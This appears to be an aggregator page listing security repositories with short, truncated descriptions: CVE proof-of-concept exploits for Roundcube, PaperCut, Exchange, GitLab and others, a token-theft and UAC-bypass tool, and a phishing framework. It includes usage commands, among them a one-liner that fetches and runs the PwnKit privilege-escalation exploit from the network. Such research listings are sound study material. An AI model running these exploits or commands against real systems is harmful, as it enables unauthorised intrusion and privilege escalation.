gitgalaxy

GitGalaxy Repository-scale structural intelligence without compilation. Docs · Visualizer · Language Crucible · Keyword Rosetta · Raw Output 1 scan · 97 structural signals · 50+ languages · no compilation · 17 risk-exposure categories · 6 outputs The short version GitGalaxy builds a...

TokenPlayer

TokenPlayer Windows 액세스 토큰 조작 및 악용. TokenPlayer는 win32 API 프로그래밍을 배우고 Windows의 액세스 토큰 모델을 더 잘 이해하기 위해 제가 만든 작은 도구입니다. 기능: 기본 토큰 탈취 및 가장Impersonation. 보호된 프로세스 가장. 토큰 중복Token-Duplication 방식을 사용한 UAC 우회. 특수 권한이나 상승된 컨텍스트 없이 자격 증명을 제공하여 네트워크 인증용 새 토큰 생성runas /netonly와 유사. 부모 프로세스 ID를 스푸핑하고 다른 부모를 가진...

CVE-2025-49113-PoC

CVE-2025-49113 Roundcube RCE PoC 🚀 Как запустить проект 1. Запуск уязвимого сервера cd Stand docker-compose up -d 2. Запуск скрипта против цели cd PoC/src python3 scanner.py --target http://localhost:9000 --username test --password test --command "id" 📌 Основные требования Требуется авторизация...

CVE-2024-23897

Использование клиента Общий синтаксис вызова клиента следующий: java -jar jenkins-cli.jar -s JENKINSURL global options... command command options... arguments... информация :- https://www.jenkins.io/doc/book/managing/cli/downloading-the-client CVE :- https://www.cvedetails.com/cve/CVE-2024-23897/...

CVE-2023-27350

CVE-2023-27350 PoC для CVE-2023-27350, затрагивающей PaperCut MF/NG Затронутые версии: «PaperCut MF или NG версии 8.0 или новее за исключением пропатченных версий на всех платформах ОС.» Краткое описание Этот PoC использует уязвимость обхода аутентификации в сочетании с abuse встроенного...

CVE-2025-55182-PoC

CVE-2025-55182 - PoC 및 Stand 📌 빠른 시작 1. 취약한 Stand 배포 cd Stand docker compose up --build 취약한 앱은 다음에서 실행됩니다: http://localhost:3011 2. 안전한 PoC 스캐너 실행 bash cd PoC/src poetry install poetry run python scanner.py http://localhost:3011 ✅ 예상 PoC 출력 text Scanning target: http://localhost:3011 + VULNERABLE...

CVE-2025-62215_analysis

Анализ уязвимости CVE-2025-62215 Проект по исследованию уязвимости Windows Kernel Race Condition / Double-Free Privilege Escalation. Обзор Элемент| Детали ---|--- CVE| CVE-2025-62215 Компонент| Windows Kernel ntoskrnl.exe Тип| Состояние гонки CWE-362 / Двойное освобождение CWE-415 Воздействие|...

CVE-2022-46649

CVE-2022-46649 PoC-эксплойт для CVE-2022-46649, уязвимость внедрения команд в конечной точке /cgi-bin/iplogging.cgi. Уязвимость позволяет аутентифицированным злоумышленникам выполнять произвольные команды ОС через поддельные параметры tcpdumpParams. Обзор Уязвимость: Внедрение команд ОС Конечная...

Exploit for Improper Validation of Consistency within Input in Linux Linux_Kernel

copyfail-check !CIhttps://github.com/ledlight33/copyfail-...

AgentGuard

AgentGuard 자율 AI 에이전트를 위한 제로 트러스트 샌드박스. AgentGuard는 모든 AI 에이전트LangChain, CrewAI, AutoGen, 사용자 정의 스크립트에 안전 레일을 씌웁니다. 명령어 한 줄만 바꾸면 됩니다: 이전 위험 — 에이전트가 전체 시스템에 접근 가능 python myagent.py 이후 샌드박스 내 agentguard run -- python myagent.py AgentGuard는 에이전트가 실행하는 모든 셸 명령, 파일 수정, 네트워크 요청을 가로챕니다. 안전한 동작은 자동 허용, 위...

CVE-2020-0688

CVE-2020-0688 CVE-2020-0688Уязвимость десериализации Microsoft Exchange по умолчанию MachineKeySection Инструкция по установке: Скачать через git требуется git: git clone https://github.com/7heKnight/CVE-2020-0688 Скачать ZIP-файл:...

PwnKit_CVE-2021-4034

PwnKit Автономный эксплойт для CVE-2021-4034 - локальное повышение привилегий Pkexec Использование Должен работать сразу на уязвимых дистрибутивах Linux на базе Ubuntu, Debian, Fedora и CentOS. sh -c "$curl -fsSL https://raw.githubusercontent.com/b1gn0se/PwnKitCVE-2021-4034/main/PwnKit.sh" Вручну...

CVE-2021-22204-Gitlab

Gitlab-Exiftool-RCE 원본 저장소 : https://github.com/CsEnox/Gitlab-Exiftool-RCE CsEnox에게 크레딧. Gitlab 13.10.3용 RCE 익스플로잇 GitLab Workhorse는 모든 파일을 ExifTool에 전달합니다. 현재 버그는 ExifTool의 DjVu 모듈에 있습니다. GitLab Workhorse를 통과하는 이미지를 업로드할 수 있는 모든 사용자는 특별히 제작된 파일을 통해 RCE를 달성할 수 있습니다. 사용법 python3 exploit.py -c...

Cartero

Cartero URL http://section9labs.github.io/Cartero/ 설명 강력한 피싱 프레임워크로, 완전한 기능을 갖춘 CLI 인터페이스를 제공합니다. 이 프로젝트는 수년간의 업무 수행 과정에서 제대로 작동하지 않는 도구들에 대한 필요성에서 탄생했습니다. 비슷한 프로젝트가 많지만, 사용 편의성과 커스터마이징 기능을 모두 갖춘 적절한 솔루션을 찾을 수 없었습니다. Cartero는 독립적인 작업을 수행하는 명령들예: Mailer, Cloner, Listener, AdminConsole 등로 나뉜 모듈형...

CVE-2025-12399

Alex Reservations: 스마트 레스토랑 예약 = 2.2.3 - 인증된 관리자+ 임의 파일 업로드 WordPress Alex Reservations 플러그인2.2.3 이하 버전에는 인증된 WordPress 관리자가 서버에 악성 PHP 파일을 업로드할 수 있게 하는 임의 파일 업로드 취약점이 존재하며, 이로 인해 원격 코드 실행으로 이어질 수 있습니다. TL;DR 익스플로잇 원격 공격자가 shell.php를 업로드하고 원격 코드를 실행하는 과정을 보여주는 POC CVE-2025-12399.py가 제공됩니다: python...

CVE-2025-27407

CVE-2025-27407 GitLab Podman Lab GitLab Direct Transfer HTTP 경로가 취약한 graphql-ruby introspection 스키마 로더에 도달함을 증명하기 위한 최소 로컬 전용 랩입니다. 이 랩은 취약한 GitLab CE 컨테이너 하나를 실행하며, PoC 스크립트는 테스트 중에만 프로세스 내에서 가짜 GitLab 소스 서버를 시작합니다. 소유한 시스템이나 명시적으로 테스트 권한을 받은 시스템에서만 실행하세요. 파일 파일| 용도 ---|--- lab.sh| GitLab 랩을 시작,...

cotonti-commentswidget-poc

Cotonti CommentsWidget PHP 객체 주입 PoC Cotonti의 CommentsWidget 구현에서 확인된 PHP 객체 주입 문제에 대한 안전한 로컬 개념 증명입니다. 취약점 프로젝트: Cotonti 영향받는 구성 요소: plugins/comments/inc/CommentsWidget.php CWE: CWE-502 — 신뢰할 수 없는 데이터의 역직렬화 CVE/후보: CAN-2026-2035973 / CVE-2026-71294 연구자: Harsh Raj Singhania 취약한 코드 경로는 ci GET 파라미터...

bitbucket-test

CVE-2022-36804 조사를 위한 도커 컨테이너 Bitbucket이 사용자 입력을 적절히 위생 처리하지 않아 공격자가 Git 플래그를 주입하고 원격으로 코드를 실행할 수 있는 원격 코드 실행 취약점 재현 이 저장소는 Bitbucket Server의 인증 전 인수 주입 문제인 CVE-2022-36804 취약점을 재현한 방법을 문서화합니다. 목표는 Assetnote의 공개 글에서 설명한 기본 보안 문제를 시연하는 것이었습니다. 모든 테스트는 격리된 로컬 환경에서 수행되었습니다. 개요 CVE-2022-36804는...

CVE-2023-48084

CVE-2023-48084 CVE-2023-48084에 대한 Python 익스플로잇 - Nagios XI 5.11.3 이전 버전은 대량 수정 도구를 통해 SQL 인젝션 취약점이 있는 것으로 발견되었습니다. 이 익스플로잇은 /admin/bannermessage-ajaxhelper.php?action=acknowledgebannermessage&id=를 사용하여 SQL 쿼리를 실행하며, 블라인드 SQL 인젝션을 이용합니다... 사용법 저장소를 클론하고 requirements.txt를 설치하세요. git clone...

sshamble

sshamble SSHamble은 SSH 구현체를 위한 연구 도구로, 다음을 포함합니다: 인증에 대한 흥미로운 공격 세션 후 인증 공격 인증 전 상태 전환 인증 타이밍 분석 세션 후 열거 이 프로젝트는 진행 중인 작업이며 빠르게 변경될 가능성이 있습니다. researchα𝓽runZero.com을 통해 우리 팀에 연락할 수 있습니다. https://SSHamble.com/ 설치 바이너리는 릴리스 페이지에서 사용할 수 있습니다. 참고: MacOS에서는sudo xattr -rd com.apple.quarantine ./sshambl...